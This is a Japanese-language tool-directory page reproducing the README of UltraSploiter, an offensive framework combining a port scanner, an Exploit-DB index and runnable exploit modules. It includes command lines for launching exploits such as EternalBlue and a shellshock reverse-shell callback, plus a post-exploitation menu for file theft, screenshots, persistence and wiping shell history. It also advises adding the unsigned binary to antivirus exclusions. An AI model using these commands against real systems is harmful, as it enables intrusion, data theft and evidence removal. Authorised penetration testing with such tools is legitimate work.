Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ultrasploiter — ポートスキャナ、Exploit-DBの全インデックス(47kエントリ)、実行可能なエクスプロイトモジュールを1つのツールに統合した単一バイナリ。Rustで書かれており、Linux、Windows、macOSで動作します。 | Kitploit
ツール/GitLabGitLab/vqkro/ultrasploiter
ペネトレーションテストフレームワーク偵察脆弱性スキャナーエクスプロイトフレームワークネットワークマッピングポートスキャンエクスプロイトウェブアプリケーション悪用情報収集コマンド&コントロールレッドチーミングペイロード開発
14416日前未レビュー
GitLabvqkro/ultrasploiter

ultrasploiter

ポートスキャナ、Exploit-DBの全インデックス(47kエントリ)、実行可能なエクスプロイトモジュールを1つのツールに統合した単一バイナリ。Rustで書かれており、Linux、Windows、macOSで動作します。

リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

UltraSploiter

ポートスキャナ、exploit-db の完全なインデックス、そして実行可能なエクスプロイトのセットを 1 つのバイナリにまとめたものです。単一ファイル、依存関係なし。linux、windows、macos 対応。

通常 nmap + searchsploit + metasploit を使うなら、これはその 3 つすべてを 1 つのコマンドの背後にまとめたものです:

通常ここでは
nmapUltraSploiter scan <ip>
searchsploitUltraSploiter search <kw>
msfconsoleUltraSploiter exploit <ip> <module>

UltraSploiter menu

2.0.0 の新機能

これは大きなリリースです。このリリースの要点は、スキャンからシェル取得までを一連の流れのように感じられるようにすること、そして一度ボックスに侵入したら、生のコマンドを単純なパイプに打ち込む必要がないようにすることです。

  • ポストエクスプロイテーションシェル — セッションが確立すると、sessions -i <id> で ↑/↓ と enter で操作する本格的なメニューが開きます。コマンドの実行、ファイルの一覧表示、ファイルのダウンロード、ファイルのアップロード、相手のデスクトップをそのまま自分の環境へスクリーンショット、壁紙の差し替え、システム情報のダンプ、永続化の設置、クリーンアップ。各アクションは windows か linux かを自動で判別します。
  • 高速化されたスキャナ — タイミングテンプレートごとの並列度がほぼ倍増しました(-T3 は現在 2500 ソケット同時、-T5 は 12000)。そのため、トップ 1000 のスイープが実ネットワーク上で明らかに速く完了します。
  • より正確なフィンガープリント — バージョン判定テーブルが大幅に拡充されました: ssh、ftp、smtp/imap、apache/nginx/iis/php/aspnet/tomcat/jetty、mysql/mariadb、redis、memcached、mongodb、elasticsearch、mssql/postgres、vnc、rdp、smb、docker、rabbitmq、jenkins/grafana/gitlab、rsync、mqtt、vpn アプライアンスなど。より多くのポートで実際のプローブも行います(110/143/2375/5672/15672…)。
  • より賢い検索ランキング — モジュール検索がスコアリングされるようになりました: 完全一致の id またはモジュール名が最優先、次にタイトル/製品、次に cve、そして実行可能なモジュールはドキュメントのみのヒットより上位に表示されます。もう先頭にアルファベット順のノイズが並ぶことはありません。
  • 実行時の安定性 — パニックを起こしたモジュールがプロセス全体を巻き込むことはなくなりました。エクスプロイトの実行は独自のスレッド上でキャッチされた unwind とともに行われ、実行成功後にはセッションが開いたことを通知します。

要するに: 同じ 3 文字の約束、scan からボックス上のシェルまでの道のりがずっと短くなりました。

ポストエクスプロイテーションシェル

リバースシェルが接続すると、それはセッションとして登録されます。メニューに入るには:

UltraSploiter console
usp > sessions
usp > sessions -i 1

矢印キーで移動できるリストが表示されます(数字キーでもジャンプできます)、 Enter で選択します:

アクション動作内容
shell対話型コマンドシェル、back で戻る
filesls -la / または dir C:\
sysinfoホスト、ユーザー、OS、インターフェース
screenshotターゲットのデスクトップを取得し、~/.ultrasploiter/loot に保存
downloadファイルを ~/.ultrasploiter/loot に取得(base64)
uploadローカルファイルをターゲットに送信(base64)
wallpaper画像をダウンロードして壁紙に設定
persist再起動エントリを書き込む(事前に確認あり)
cleanupシェル履歴と一時アーティファクトを消去

ターゲットの OS を自動検出し(linux か windows)、各アクションに適した コマンドを構築します — windows では powershell、linux では sh/coreutils。ファイル 転送は既存のソケット経由で base64 として行われるため、どちらの側にも 他に何もインストールする必要はありません。

UltraSploiter post-exploitation shell

入手方法

最も簡単な方法は、ビルド済みバイナリを取得して実行するだけです。インストールは不要です。

リリースページから:

  • windows - UltraSploiter-windows-x86_64.exe、ダブルクリックで実行
  • linux - UltraSploiter-linux-x86_64
  • macos - ビルド済みのものはまだありません。1 コマンドでビルドできます(下記)

セキュリティツールであるため、アンチウイルスや SmartScreen が警告を出します。windows では 詳細情報 -> 実行 をクリックするか、常に使う場合は除外設定に追加してください。

windows

UltraSploiter.exe をダブルクリックするとメニューが開きます。SmartScreen が 不明な発行元について警告を出した場合(署名されていないため必ず出ます)、詳細情報 -> 実行 をクリックしてください。

linux

chmod +x UltraSploiter-linux-x86_64
./UltraSploiter-linux-x86_64

macos

chmod +x UltraSploiter-macos-arm64
./UltraSploiter-macos-arm64

if gatekeeper にブロックされた場合(繰り返しになりますが、署名されていないため)、右クリック → 開くを選択するか、検疫フラグを一度クリアしてください:

xattr -d com.apple.quarantine UltraSploiter-macos-arm64

ビルドする

お使いのプラットフォーム向けのバイナリがない場合、または何かを変更したい場合にのみ必要です。rust 1.74+ が必要です。

linux

sudo apt install build-essential
git clone https://gitlab.com/vqkro/ultrasploiter
cd ultrasploiter
./build.sh

macos

xcode-select --install
git clone https://gitlab.com/vqkro/ultrasploiter
cd ultrasploiter
./build.sh

windows

git clone https://gitlab.com/vqkro/ultrasploiter
cd ultrasploiter
.\build.ps1

build.ps1 は gnu ツールチェーンを使用するため、Visual Studio や msvc は不要です。見つからなければインストールします。すでに msvc ビルドツールがある場合は、単に cargo build --release でも動作します。

Windows での注意点が1つあります。windows-sys(tokio によって取り込まれる)は dlltool を呼び出しますが、これにはアセンブラ as が必要で、rust-mingw コンポーネントには含まれていません。build.ps1 は tools\mingw64\bin と %USERPROFILE%\tools\mingw64\bin の中に as を含む mingw の bin を探し、PATH の先頭に追加します。error calling dlltool が発生した場合は、winlibs のビルドをこれらのいずれかに配置してください。msvc には影響しません。

実行方法

引数なしで実行するとメニューが表示されます:

   1)  Scan a target           find open ports and services
   2)  Search exploits         keyword lookup
   3)  List runnable modules
   4)  Run an exploit          pick a target and a module
   5)  Console                 advanced msf-style commands
   0)  Exit

コマンドライン

短縮形: ターゲットを指定し、実行したいモジュールがあれば追加すれば、あとは自動的に処理されます。

UltraSploiter 10.0.0.5                           # scan it (same as scan 10.0.0.5)
UltraSploiter 10.0.0.5 -p 22,80,443 -T4          # scan with flags
UltraSploiter 10.0.0.5 vsftpd_234                # run a native/catalog module
UltraSploiter 10.0.0.5 exploit/windows/smb/ms17_010_eternalblue
                                                 # route an msf module, RHOSTS set for you

明示的なコマンドを好む場合は、以下のとおりです:

UltraSploiter scan 10.0.0.5                      # top 1000 ports + fingerprint + suggestions
UltraSploiter scan 10.0.0.0/24 -p 22,80,443      # host discovery, then scan the live ones
UltraSploiter scan 10.0.0.1-50 -p 1-1024 -T4     # range, fast timing
UltraSploiter scan 10.0.0.5 -p -                 # all 65535 ports
UltraSploiter scan 10.0.0.5 -sU                  # UDP scan
UltraSploiter scan 10.0.0.0/24 --check           # scan then safely check matched modules
UltraSploiter scan 10.0.0.5 -sC                  # default scripts (ssh/smb/redis/tls)
UltraSploiter scan 10.0.0.5 --json
UltraSploiter scan 10.0.0.5 -oX out.xml
UltraSploiter search samba
UltraSploiter search apache -n 20 --type remote --platform linux
UltraSploiter info 17491
UltraSploiter show 17491                          # print the PoC source for an Exploit-DB id
UltraSploiter modules
UltraSploiter msf search smb                      # bridge to Metasploit (needs it installed)
UltraSploiter exploit 10.0.0.5 vsftpd_234
UltraSploiter exploit 10.0.0.5 shellshock -o lhost=10.0.0.1 -o lport=4444
UltraSploiter console

Linux/macOS では ./ を付けてください(例: ./UltraSploiter scan 10.0.0.5)。

エイリアス: find = search、list = modules、run = exploit。

scan フラグ

フラグ意味
-p <spec>top(1000)、80,443、1-1024、-(すべて)
-T0..-T5タイミングテンプレート、遅く/静かにから速く/騒がしく
-sUUDP プローブスキャン
-sVサービス/バージョン検出(デフォルトで有効)
-sCデフォルトスクリプト: ssh-auth-methods、smb-version、redis-info、ssl-cert
-Pnホスト探索をスキップし、すべてのホストをスキャン
--checkスキャンがマッチしたすべてのモジュールを安全にチェック
--max-rate n1秒あたりの接続数を制限
--retries n失敗した接続を再試行
--no-bannerバナー取得をスキップ
--jsonJSON を stdout に出力
-oX <file>nmap 形式の XML

ターゲットにはホスト名、IP、CIDR ブロック(10.0.0.0/24)、範囲 (10.0.0.1-50 または 10.0.0.1-10.0.0.9)、カンマ区切りリストを指定できます。複数のホストの場合は まず高速な TCP ホスト探索パスを実行し、応答があったものだけをスキャンするため、トップ 1000 ポートに対する /24 でも 数分ではなく数秒で結果が返ります。

スキャナは非同期(tokio)です。各 -T は同時に実行中のソケット数を設定し (-T5 では最大 8000)、nmap のトップ 1000 は数秒で完了します。すべての 「open」は完了した TCP ハンドシェイクであるため、結果は正確です。サービス検出は HTTP タイトル(nmap の http-title と同様)を取得し、実行の最後にはバナーからの OS 推測が表示されます。

オプション(-o key=value)

キー使用するモジュール意味
lhost、lportrev-shell モジュールコールバックアドレス
rportweb モジュールHTTP ポートを上書き
pathshellshock、struts、phpunitエンドポイントパス
user、passtomcat_managerマネージャー認証情報
coresolr_rceSolr コア名
filegrafana_lfi読み取るファイル
ssh_pubkeyredis_unauthauthorized_keys に追加するキー
src、dstproftpd_modcopyコピー元 / コピー先
timeoutすべてソケットタイムアウト秒数

exploit データベース

ツールをダウンロード